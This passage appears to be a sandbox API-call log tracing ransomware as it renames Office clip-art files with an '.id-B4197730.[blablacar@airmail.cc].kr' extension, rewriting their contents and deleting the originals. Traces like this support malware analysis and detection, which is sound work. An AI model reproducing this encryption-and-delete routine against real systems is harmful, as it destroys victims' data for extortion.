[0195.361] SetEndOfFile (hFile=0x544) returned 1 [0195.648] CloseHandle (hObject=0x544) returned 1 [0195.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0196.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.566] lstrlenW (lpString=".doc") returned 4 [0196.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.566] lstrlenW (lpString=".docx") returned 5 [0196.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.566] lstrlenW (lpString=".pdf") returned 4 [0196.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.566] lstrlenW (lpString=".xls") returned 4 [0196.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.566] lstrlenW (lpString=".xlsx") returned 5 [0196.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.566] lstrlenW (lpString=".ppt") returned 4 [0196.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.566] lstrlenW (lpString=".zip") returned 4 [0196.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.566] lstrlenW (lpString=".rar") returned 4 [0196.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString=".bz2") returned 4 [0196.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString=".7z") returned 3 [0196.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.567] lstrlenW (lpString=".dbf") returned 4 [0196.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.567] lstrlenW (lpString=".1cd") returned 4 [0196.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.567] lstrlenW (lpString=".jpg") returned 4 [0196.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.567] lstrlenW (lpString=".doc") returned 4 [0196.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString=".docx") returned 5 [0196.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.567] lstrlenW (lpString=".pdf") returned 4 [0196.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString=".xls") returned 4 [0196.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.567] lstrlenW (lpString=".xlsx") returned 5 [0196.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.567] lstrlenW (lpString=".ppt") returned 4 [0196.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.567] lstrlenW (lpString=".zip") returned 4 [0196.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.567] lstrlenW (lpString=".rar") returned 4 [0196.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.568] lstrlenW (lpString=".bz2") returned 4 [0196.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.568] lstrlenW (lpString=".7z") returned 3 [0196.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.568] lstrlenW (lpString=".dbf") returned 4 [0196.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.568] lstrlenW (lpString=".1cd") returned 4 [0196.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0196.568] lstrlenW (lpString=".jpg") returned 4 [0196.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.568] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.568] lstrlenW (lpString="HH01013_.WMF") returned 12 [0196.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.570] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2848) returned 1 [0196.570] CloseHandle (hObject=0x3f8) returned 1 [0196.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0196.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.571] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.571] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0196.572] GetLastError () returned 0x0 [0196.572] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xb20, lpOverlapped=0x0) returned 1 [0196.576] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xb30, lpOverlapped=0x0) returned 1 [0196.577] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.578] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0196.578] SetEndOfFile (hFile=0x4d4) returned 1 [0196.578] CloseHandle (hObject=0x4d4) returned 1 [0196.578] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.578] SetEndOfFile (hFile=0x3f8) returned 1 [0196.581] CloseHandle (hObject=0x3f8) returned 1 [0196.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0196.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.582] lstrlenW (lpString=".doc") returned 4 [0196.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.582] lstrlenW (lpString=".docx") returned 5 [0196.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.582] lstrlenW (lpString=".pdf") returned 4 [0196.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.582] lstrlenW (lpString=".xls") returned 4 [0196.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.582] lstrlenW (lpString=".xlsx") returned 5 [0196.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.582] lstrlenW (lpString=".ppt") returned 4 [0196.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.582] lstrlenW (lpString=".zip") returned 4 [0196.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.582] lstrlenW (lpString=".rar") returned 4 [0196.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.582] lstrlenW (lpString=".bz2") returned 4 [0196.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.583] lstrlenW (lpString=".7z") returned 3 [0196.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.583] lstrlenW (lpString=".dbf") returned 4 [0196.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.583] lstrlenW (lpString=".1cd") returned 4 [0196.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.583] lstrlenW (lpString=".jpg") returned 4 [0196.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.583] lstrlenW (lpString=".doc") returned 4 [0196.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.583] lstrlenW (lpString=".docx") returned 5 [0196.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.583] lstrlenW (lpString=".pdf") returned 4 [0196.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.585] lstrlenW (lpString=".xls") returned 4 [0196.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.585] lstrlenW (lpString=".xlsx") returned 5 [0196.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.585] lstrlenW (lpString=".ppt") returned 4 [0196.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.585] lstrlenW (lpString=".zip") returned 4 [0196.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.586] lstrlenW (lpString=".rar") returned 4 [0196.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.586] lstrlenW (lpString=".bz2") returned 4 [0196.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.586] lstrlenW (lpString=".7z") returned 3 [0196.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.586] lstrlenW (lpString=".dbf") returned 4 [0196.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.586] lstrlenW (lpString=".1cd") returned 4 [0196.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0196.586] lstrlenW (lpString=".jpg") returned 4 [0196.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.586] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.586] lstrlenW (lpString="HH01015_.WMF") returned 12 [0196.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.587] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1148) returned 1 [0196.587] CloseHandle (hObject=0x3f8) returned 1 [0196.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0196.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.588] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.588] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0196.588] GetLastError () returned 0x0 [0196.588] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x47c, lpOverlapped=0x0) returned 1 [0196.590] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x480, lpOverlapped=0x0) returned 1 [0196.591] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.591] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0196.591] SetEndOfFile (hFile=0x4d4) returned 1 [0196.592] CloseHandle (hObject=0x4d4) returned 1 [0196.592] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.592] SetEndOfFile (hFile=0x3f8) returned 1 [0196.594] CloseHandle (hObject=0x3f8) returned 1 [0196.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0196.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.595] lstrlenW (lpString=".doc") returned 4 [0196.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.595] lstrlenW (lpString=".docx") returned 5 [0196.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.596] lstrlenW (lpString=".pdf") returned 4 [0196.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString=".xls") returned 4 [0196.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.596] lstrlenW (lpString=".xlsx") returned 5 [0196.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.596] lstrlenW (lpString=".ppt") returned 4 [0196.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.596] lstrlenW (lpString=".zip") returned 4 [0196.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.596] lstrlenW (lpString=".rar") returned 4 [0196.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString=".bz2") returned 4 [0196.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString=".7z") returned 3 [0196.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.596] lstrlenW (lpString=".dbf") returned 4 [0196.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.596] lstrlenW (lpString=".1cd") returned 4 [0196.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.596] lstrlenW (lpString=".jpg") returned 4 [0196.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.596] lstrlenW (lpString=".doc") returned 4 [0196.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString=".docx") returned 5 [0196.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.597] lstrlenW (lpString=".pdf") returned 4 [0196.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString=".xls") returned 4 [0196.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.597] lstrlenW (lpString=".xlsx") returned 5 [0196.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.597] lstrlenW (lpString=".ppt") returned 4 [0196.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.597] lstrlenW (lpString=".zip") returned 4 [0196.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.597] lstrlenW (lpString=".rar") returned 4 [0196.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString=".bz2") returned 4 [0196.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString=".7z") returned 3 [0196.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.597] lstrlenW (lpString=".dbf") returned 4 [0196.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.597] lstrlenW (lpString=".1cd") returned 4 [0196.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0196.598] lstrlenW (lpString=".jpg") returned 4 [0196.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.598] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.598] lstrlenW (lpString="HH01058_.WMF") returned 12 [0196.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.599] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2756) returned 1 [0196.599] CloseHandle (hObject=0x3f8) returned 1 [0196.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0196.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.600] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.600] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0196.601] GetLastError () returned 0x0 [0196.601] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xac4, lpOverlapped=0x0) returned 1 [0196.602] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xad0, lpOverlapped=0x0) returned 1 [0196.846] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0196.846] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0196.846] SetEndOfFile (hFile=0x4d4) returned 1 [0196.846] CloseHandle (hObject=0x4d4) returned 1 [0196.847] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0196.847] SetEndOfFile (hFile=0x3f8) returned 1 [0196.850] CloseHandle (hObject=0x3f8) returned 1 [0196.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.854] DeleteFileW 